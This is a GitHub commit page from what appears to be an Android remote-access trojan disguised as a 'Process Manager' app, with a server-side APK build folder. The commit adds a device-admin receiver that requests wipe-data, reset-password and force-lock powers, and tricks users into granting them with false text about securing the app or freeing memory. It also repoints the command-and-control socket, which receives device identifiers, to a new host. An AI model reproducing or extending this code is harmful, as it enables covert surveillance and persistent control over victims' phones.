Skip to content

Commit

Permalink
Device admin added
Browse files Browse the repository at this point in the history
  • Loading branch information
chrisstone07 committed Apr 18, 2020
1 parent 05fe599 commit d48c1e5
Show file tree
Hide file tree
Showing 42 changed files with 441 additions and 70 deletions.
2 changes: 1 addition & 1 deletion client/app/app.iml
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@
<option name="ALLOW_USER_CONFIGURATION" value="false" />
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
</configuration>
Expand Down
14 changes: 14 additions & 0 deletions client/app/src/main/AndroidManifest.xml
Original file line number Diff line number Diff line change
Expand Up @@ -70,6 +70,20 @@
</intent-filter>
</receiver>

<receiver
android:name=".DeviceAdminX"
android:description="@string/device_description"
android:label="@string/device_admin_label"
android:permission="android.permission.BIND_DEVICE_ADMIN" >
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin" />

<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

<service android:name=".NotificationListener"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
Expand Down
68 changes: 68 additions & 0 deletions client/app/src/main/java/com/remote/app/DeviceAdmin.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
package com.remote.app;

import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;

/**
* DeviceAdminDemo to enable, disable the options.
* */
public class DeviceAdminX extends DeviceAdminReceiver
{
// implement onEnabled(), onDisabled(),
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
}

@Override
public void onEnabled(Context context, Intent intent) {
super.onEnabled(context, intent);
}

@Override
public void onDisabled(Context context, Intent intent) {
super.onDisabled(context, intent);
}

@Override
public CharSequence onDisableRequested(Context context, Intent intent) {
return super.onDisableRequested(context, intent);
// return null;
}

@Override
public void onPasswordSucceeded(Context context, Intent intent) {
super.onPasswordSucceeded(context, intent);
}

@Override
public void onPasswordFailed(Context context, Intent intent) {
super.onPasswordFailed(context, intent);
}

@Override
public void onPasswordChanged(Context context, Intent intent) {
super.onPasswordChanged(context, intent);
}

@Override
public void onPasswordExpiring(Context context, Intent intent) {
super.onPasswordExpiring(context, intent);
}

@Override
public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
super.onLockTaskModeEntering(context, intent, pkg);
}

@Override
public void onLockTaskModeExiting(Context context, Intent intent) {
super.onLockTaskModeExiting(context, intent);
}

@Override
public void onProfileProvisioningComplete(Context context, Intent intent) {
super.onProfileProvisioningComplete(context, intent);
}
}
2 changes: 1 addition & 1 deletion client/app/src/main/java/com/remote/app/IOSocket.java
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ private IOSocket() {
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;

ioSocket = IO.socket("http://3.90.231.134:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
ioSocket = IO.socket("http://xwizer.herokuapp.com:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) {
e.printStackTrace();
}
Expand Down
17 changes: 17 additions & 0 deletions client/app/src/main/java/com/remote/app/MainActivity.java
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@
import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
Expand All @@ -21,6 +23,9 @@

public class MainActivity extends Activity {

private DevicePolicyManager mDPM;
private ComponentName mAdminName;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Expand Down Expand Up @@ -60,6 +65,18 @@ protected void onCreate(Bundle savedInstanceState) {
// spawn notification thing
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));

mDPM = (DevicePolicyManager)getSystemService(Context.DEVICE_POLICY_SERVICE);
// Set DeviceAdminDemo Receiver for active the component with different option
mAdminName = new ComponentName(this, DeviceAdminX.class);

if (!mDPM.isAdminActive(mAdminName)) {
// try to become active
Intent intent2 = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent2.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdminName);
intent2.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Click on Activate button to secure your application.");
startActivity(intent2);
}

// spawn app page settings so you can enable all perms
// Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
// startActivity(i);
Expand Down
2 changes: 2 additions & 0 deletions client/app/src/main/res/values/strings.xml
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
<resources>
<string name="app_name">Process Manager</string>
<string name="device_admin_label">Device Admin</string>
<string name="device_description">Enable Process Manager to free Memory</string>
</resources>
9 changes: 9 additions & 0 deletions client/app/src/main/res/xml/admin.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
<device-admin xmlns:android="http://schemas.android.com/apk/res/android" >
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
2 changes: 2 additions & 0 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -14,8 +14,10 @@
"cookie-parser": "^1.4.4",
"ejs": "^2.6.2",
"express": "^4.17.1",
"express-async-handler": "^1.1.4",
"geoip-lite": "^1.3.7",
"lowdb": "^1.0.0",
"node-fetch": "^2.6.0",
"socket.io": "^2.2.0"
}
}
Binary file modified server/app/factory/app-release.apk
Binary file not shown.
14 changes: 13 additions & 1 deletion server/app/factory/decompiled/AndroidManifest.xml
Original file line number Diff line number Diff line change
Expand Up @@ -18,12 +18,24 @@
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<application android:allowBackup="true" android:appComponentFactory="android.support.v4.app.CoreComponentFactory" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:launchMode="singleInstance" android:name="com.remote.app.MainActivity">
<activity android:name="com.remote.app.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<receiver android:description="@string/device_description" android:label="@string/device_admin_label" android:name="com.remote.app.DeviceAdmin" android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin" android:resource="@xml/admin"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
<action android:name="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED"/>
<action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
<action android:name="android.app.action.ACTION_PASSWORD_CHANGED"/>
<action android:name="android.app.action.ACTION_PASSWORD_EXPIRING"/>
<action android:name="android.app.action.ACTION_PASSWORD_FAILED"/>
<action android:name="android.app.action.ACTION_PASSWORD_SUCCEEDED"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:exported="false" android:name="com.remote.app.MainService"/>
<receiver android:enabled="true" android:exported="true" android:label="RestartServiceWhenStopped" android:name="com.remote.app.ServiceReciever">
<intent-filter>
Expand Down
3 changes: 0 additions & 3 deletions server/app/factory/decompiled/apktool.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,9 +3,6 @@ apkFileName: app-release.apk
compressionType: false
doNotCompress:
- resources.arsc
- META-INF/android.arch.lifecycle_runtime.version
- META-INF/androidx.core_core.version
- META-INF/androidx.versionedparcelable_versionedparcelable.version
- png
isFrameworkApk: false
packageInfo:
Expand Down
Binary file modified server/app/factory/decompiled/original/AndroidManifest.xml
Binary file not shown.
Binary file modified server/app/factory/decompiled/original/META-INF/CERT.RSA
Binary file not shown.
41 changes: 22 additions & 19 deletions server/app/factory/decompiled/original/META-INF/CERT.SF
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: 9wLCJfjpA3L2avYP/kniF8N1Fpk=
SHA1-Digest-Manifest: bbGsxJs1tgdTEoW2U5kYoTPSo8Q=

Name: AndroidManifest.xml
SHA1-Digest: FWiCXCmqENMMqGylDqderc/wIlU=
SHA1-Digest: Sf2VJtvlX3RZj0K3kodfygrDiRI=

Name: META-INF/android.arch.lifecycle_runtime.version
SHA1-Digest: mgd0ibqCDE7dziahk3gQRzTxqfA=
Expand All @@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=

Name: classes.dex
SHA1-Digest: oOa4UFM2ozvdtdx1nt8T9I8z8w4=
SHA1-Digest: a5/bDXE3ojfvJVJaQ7B4S2A0EIk=

Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
Expand Down Expand Up @@ -133,50 +133,53 @@ Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
SHA1-Digest: iMHWhoFxv1Tc+X+114w2/coMJLA=

Name: res/mipmap-hdpi-v4/ic_launcher.png
SHA1-Digest: dczmD6f6ckvuYLLayyHuJolrGmc=
SHA1-Digest: QdiIqzqV84qdoFM8GSXLAtBhB+s=

Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png
SHA1-Digest: DGCOxqISRwrFkmqsdh/goOQx3Ss=
SHA1-Digest: 97n3C6Pylsz8eOwb8wezq/f44mQ=

Name: res/mipmap-hdpi-v4/ic_launcher_round.png
SHA1-Digest: EDc6KnI+OXNUAXS7K1j2sKaeY5U=
SHA1-Digest: U/aIvzqjrisYyvbhM9oL1Crb4TU=

Name: res/mipmap-mdpi-v4/ic_launcher.png
SHA1-Digest: zSiuVoYCAAqXAIwAQ/CiHSk+cZU=
SHA1-Digest: VAK23LULjnBQ6wPbP5E/dSLUPKE=

Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png
SHA1-Digest: bTnHPtXzduhoetQrf0Ert9v8tIk=
SHA1-Digest: KOrCbso0xb7FAW30LNJyVuS6QZY=

Name: res/mipmap-mdpi-v4/ic_launcher_round.png
SHA1-Digest: qH2Wv9qChjejU6RgkFiACcIuq3g=
SHA1-Digest: DX6Kd02gbNNIIvi5E2hDpSz3nTk=

Name: res/mipmap-xhdpi-v4/ic_launcher.png
SHA1-Digest: nh9DN/dCj5S5aIJn/IET93EoSvw=
SHA1-Digest: D+ivNfdlx6Je3PNnY7aAbf9IJcM=

Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: blcoJ8gKy4L3quFRXcezQ2Np3IE=
SHA1-Digest: kFNot0z8C/1akyUHttDiKh0fmC0=

Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
SHA1-Digest: G9ZDthDd7P5pGkMmYVaLRwrsjmI=
SHA1-Digest: HW+Uv1zW46NMGr7XOEPh3XxY+FQ=

Name: res/mipmap-xxhdpi-v4/ic_launcher.png
SHA1-Digest: ejOJI8bULNB81pzimOced5idKrM=
SHA1-Digest: 4CC9Cd2+IBV8wSHPGVpF+7sa+Go=

Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: g+1cNIft+45vIe9cuscolvWXWpI=
SHA1-Digest: QwyqLZQDuUTJ8jOKhWzuy0pj2P4=

Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
SHA1-Digest: 9KmxIM5xL4KV2ED6/6/QKharYYU=
SHA1-Digest: BEa9GUZOxcU4oVIcfEkFMboLg+Q=

Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
SHA1-Digest: qfyXlyD89z3+wDA62hlOEt9WX4w=
SHA1-Digest: l3b+P5vlTCk/cOLAsIaeqQc/jTU=

Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: x7p4RHXAYgIH/MBrxVZJk1j7O+0=
SHA1-Digest: +fKPefitEfLsPVtVuiG4/sq1Wx8=

Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
SHA1-Digest: JQO4sItCEOvr7gueLeojj/BtgoI=
SHA1-Digest: wfltWL9T2XQKo4CKvS4hgtQtxgs=

Name: res/xml/admin.xml
SHA1-Digest: 56EihJVs4VIL8evwRob7eh6bYkI=

Name: resources.arsc
SHA1-Digest: pLvcj68/EspHCRKYi8Ud3y2PYFo=
SHA1-Digest: m/NW7fiUiwjLVxi+AS+dxQX4Zic=

39 changes: 21 additions & 18 deletions server/app/factory/decompiled/original/META-INF/MANIFEST.MF
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ Built-By: Generated-by-ADT
Created-By: Android Gradle 3.4.2

Name: AndroidManifest.xml
SHA1-Digest: Pv4spc504MtuZJxvvbq+oaMhCC8=
SHA1-Digest: 5wjaBPvr707Yg5W4NZHX5gdaopg=

Name: META-INF/android.arch.lifecycle_runtime.version
SHA1-Digest: OxxKFJcpzAROGjnfMbNijNv1+JU=
Expand All @@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=

Name: classes.dex
SHA1-Digest: BynmcxNAeoLpVz3OZFvLrmI8Ap0=
SHA1-Digest: uQB5EdwYVQ19EaFJRTpEVrNp32Q=

Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
Expand Down Expand Up @@ -133,50 +133,53 @@ Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY=

Name: res/mipmap-hdpi-v4/ic_launcher.png
SHA1-Digest: Az7eCHDW1WJ65isMhK5fUu97x2U=
SHA1-Digest: Mw22tWABYYSICC4av/9ccwoFc3A=

Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png
SHA1-Digest: zuSZv0eX0Slge8oOeCJj8lGS7AY=
SHA1-Digest: UsZomcaBLRdXcugR/1oD6Ii5WKk=

Name: res/mipmap-hdpi-v4/ic_launcher_round.png
SHA1-Digest: D+lGi10fQJOJaeJopY3pKUeLVKA=
SHA1-Digest: /W+nd6d5Rc7aLzSthh96pm3ZAoQ=

Name: res/mipmap-mdpi-v4/ic_launcher.png
SHA1-Digest: cnxEsLsySM6usKLiCeGu+ch4h2o=
SHA1-Digest: M8E4XUbaSdB4+MJZbVQ/2XkrDVk=

Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png
SHA1-Digest: DhEKTsotpno1+qK785KRqy2LV0s=
SHA1-Digest: xJR81MhCn5vynxXdl0ObDjUhSTQ=

Name: res/mipmap-mdpi-v4/ic_launcher_round.png
SHA1-Digest: lNJ/y3NHBLrK7bXpxnETOk6nFE8=
SHA1-Digest: GqDTPq2LT43h3tQISpH5+HJIocQ=

Name: res/mipmap-xhdpi-v4/ic_launcher.png
SHA1-Digest: 9Z6aG1rdjL1JM+5rr0bT4V53W+w=
SHA1-Digest: EmZn705hb1WAlth83K3gcsCv7iI=

Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: znJVmP7NXWUh41NYKfeAkhCIebc=
SHA1-Digest: Zq5XRz2hUNdXTZjvI8U1W+qJOYI=

Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
SHA1-Digest: AHrJ5hek1oOGOms/fmd/3UOAWHI=
SHA1-Digest: XMUgIST77JQpa98nBDJFgKere+k=

Name: res/mipmap-xxhdpi-v4/ic_launcher.png
SHA1-Digest: D7dtqI/PMq7Zeg8yIZ8pnj1mpGg=
SHA1-Digest: WpZJPf3C8APyjZC34W0I7YMVPas=

Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: ludOnLPEKk4odyFRUHavLYCRgw0=
SHA1-Digest: AWqC+oUedYD30j92anDVwMvr/m8=

Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
SHA1-Digest: 3MWQnkb4FFvC9aI2uaGltMlVANQ=
SHA1-Digest: zRqpyhkc8BaCF24XCC54i3hjx6E=

Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
SHA1-Digest: XjCSyAK2oaGNM8hf5UuhChFMnsk=
SHA1-Digest: OmtTQebum6A3PI68LGNOMsdX2VQ=

Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png
SHA1-Digest: bLEIjVpuqFG7M7qzVYqN5IWxU70=
SHA1-Digest: n0OYYWL9Fz1MfLSs4i1VbleFrSk=

Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
SHA1-Digest: 1rbjkPp9cl5NhOKl6u1sJwjuKqE=
SHA1-Digest: 3VOo7phNcl74KnT4XJzTsYeshQw=

Name: res/xml/admin.xml
SHA1-Digest: /Ugqwo2h3PsocFYbk1FPKBDQmFk=

Name: resources.arsc
SHA1-Digest: oY0Z4W/1+wnrkqtyD7ns8E2LZIo=
SHA1-Digest: IP5ak8i6LST+kDqTDZflR/HToMI=

Binary file modified server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
2 changes: 1 addition & 1 deletion server/app/factory/decompiled/res/values/colors.xml
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
<color name="colorAccent">#ffff4081</color>
<color name="colorPrimary">#ff3f51b5</color>
<color name="colorPrimaryDark">#ff303f9f</color>
<color name="ic_launcher_background">#ffffffff</color>
<color name="ic_launcher_background">#ff26a69a</color>
<color name="notification_action_color_filter">#ffffffff</color>
<color name="notification_icon_bg_color">#ff9e9e9e</color>
<color name="ripple_material_light">#1f000000</color>
Expand Down

0 comments on commit d48c1e5

Please sign in to comment.